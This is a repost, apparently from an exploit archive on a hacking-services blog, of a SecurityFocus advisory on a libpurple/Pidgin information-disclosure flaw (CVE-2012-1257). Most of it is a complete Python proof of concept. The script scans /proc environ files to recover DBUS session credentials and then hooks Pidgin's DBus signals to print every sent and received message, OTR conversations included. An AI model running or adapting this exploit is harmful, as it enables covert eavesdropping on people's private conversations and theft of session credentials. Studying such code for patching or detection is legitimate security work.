Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374464

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/52175/info

libpurple is prone to an information-disclosure vulnerability.

Successful exploits may allow attackers to obtain potentially sensitive information that may aid in other attacks.

The following products are vulnerable:

libpurple versions prior to 2.10.1
pidgin versions prior to 2.10.1
pidgin-otr versions prior to 3.2.0 

#!/usr/bin/env python
# PoC for snooping on pidgin discussions (OTR/non-OTR) via dbus
# (see CVE-2012-1257)
#
# requires python-dbus and python-gobject
#
# based on sample code found here:
# http://developer.pidgin.im/wiki/DbusHowto
#
# Disclaimer: There's virtually no error handling here,
# so don't rely on this for any serious work.
#
# Author:
# Dimitris Glynos :: { dimitris at census dash labs dot com }

import dbus, gobject, os, sys
from dbus.mainloop.glib import DBusGMainLoop

# same owner processes get to snoop their respective DBUS credentials
# via /proc/<pid>/environ

def obtain_dbus_session_creds():
	all_pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
	env_tmpl = '/proc/%s/environ'
	session_creds = {}

	for pid in all_pids:
		if not (os.stat(env_tmpl % pid).st_uid == os.getuid()):
			continue
		if not os.access(env_tmpl % pid, os.R_OK):
			continue

		f = open(env_tmpl % pid, 'rb')
		contents = f.read()
		f.close()
		for var in contents.split('\0'):
			if var.startswith('DBUS_SESSION_BUS_ADDRESS='):
				val = var[var.index('=')+1:]
				if not session_creds.has_key(val):
					session_creds[val] = 1
	return session_creds

def recvs(account, contact, msg, conversation, flags):
	print "received '%s' from %s" % (msg, contact)

def sends(account, contact, msg, conversation, flags):
	if flags == 1:
		print "sent '%s' to %s" % (msg, contact)

if not os.environ.has_key('DBUS_SESSION_BUS_ADDRESS'):
	creds = obtain_dbus_session_creds()

	if len(creds.keys()) == 0:
		print >> sys.stderr, ( "error: no dbus session " +
			"credentials could be recovered." )
		sys.exit(1)

	if len(creds.keys()) > 1:
		print >> sys.stderr, ( "error: multiple dbus session " +
			"credentials found!\nPlease rerun with the proper "+
			"DBUS_SESSION_BUS_ADDRESS env variable\n" +
			"Here are the recovered credentials:\n")
		for k in creds.keys():
			print >> sys.stderr, "DBUS_SESSION_BUS_ADDRESS=%s" % k
		sys.exit(1)

	os.environ["DBUS_SESSION_BUS_ADDRESS"] = creds.keys()[0]

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()

bus.add_signal_receiver(
	recvs,
	dbus_interface="im.pidgin.purple.PurpleInterface",
	signal_name="ReceivedImMsg"
)

bus.add_signal_receiver(
	sends,
	dbus_interface="im.pidgin.purple.PurpleInterface",
        signal_name="WroteImMsg"
)

mainloop = gobject.MainLoop()
mainloop.run()